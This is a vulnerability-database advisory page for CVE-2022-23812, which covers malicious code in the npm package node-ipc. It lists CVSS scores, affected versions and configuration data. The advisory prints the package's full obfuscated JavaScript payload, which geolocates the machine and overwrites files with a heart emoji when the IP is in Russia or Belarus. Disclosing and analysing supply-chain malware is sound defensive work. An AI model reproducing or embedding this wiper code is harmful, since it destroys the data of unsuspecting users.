Lucene search

K
cve[email protected]CVE-2022-23812
HistoryMar 16, 2022 - 4:15 p.m.

CVE-2022-23812

2022-03-1616:15:10
web.nvd.nist.gov
77
4
cve-2022-23812
node-ipc
security vulnerability
malicious code
russia
belarus
file overwrite
ip geolocation

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 High

AI Score

Confidence

High

0.008 Low

EPSS

Percentile

81.1%

This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. Note: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code:Note: Don’t run it! js import u from β€œpath”; import a from β€œfs”; import o from β€œhttps”; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from(β€œaHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=”, β€œbase64”); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(β€œutf8”), function (t) { t.on(β€œdata”, function (t) { const n = Buffer.from(β€œLi8=”, β€œbase64”); const o = Buffer.from(β€œLi4v”, β€œbase64”); const r = Buffer.from(β€œLi4vLi4v”, β€œbase64”); const f = Buffer.from(β€œLw==”, β€œbase64”); const c = Buffer.from(β€œY291bnRyeV9uYW1l”, β€œbase64”); const e = Buffer.from(β€œcnVzc2lh”, β€œbase64”); const i = Buffer.from(β€œYmVsYXJ1cw==”, β€œbase64”); try { const s = JSON.parse(t.toString(β€œutf8”)); const u = s[c.toString(β€œutf8”)].toLowerCase(); const a = u.includes(e.toString(β€œutf8”)) || u.includes(i.toString(β€œutf8”)); // checks if country is Russia or Belarus if (a) { h(n.toString(β€œutf8”)); h(o.toString(β€œutf8”)); h(r.toString(β€œutf8”)); h(f.toString(β€œutf8”)); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = β€œβ€, o = β€œβ€) { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(β€œ4p2k77iP”, β€œbase64”); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(…s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString(β€œutf8”), function () {}); // overwrites file with ❀️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };

Affected configurations

NVD
Node
node-ipc_projectnode-ipcRange10.1.1–10.1.3node.js
OR
node-ipc_projectnode-ipcRange11.0.0β‰₯node.js

CNA Affected

[
  {
    "product": "node-ipc",
    "vendor": "n/a",
    "versions": [
      {
        "lessThan": "unspecified",
        "status": "affected",
        "version": "10.1.1",
        "versionType": "custom"
      },
      {
        "lessThan": "10.1.3",
        "status": "affected",
        "version": "unspecified",
        "versionType": "custom"
      }
    ]
  }
]

Social References

More

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 High

AI Score

Confidence

High

0.008 Low

EPSS

Percentile

81.1%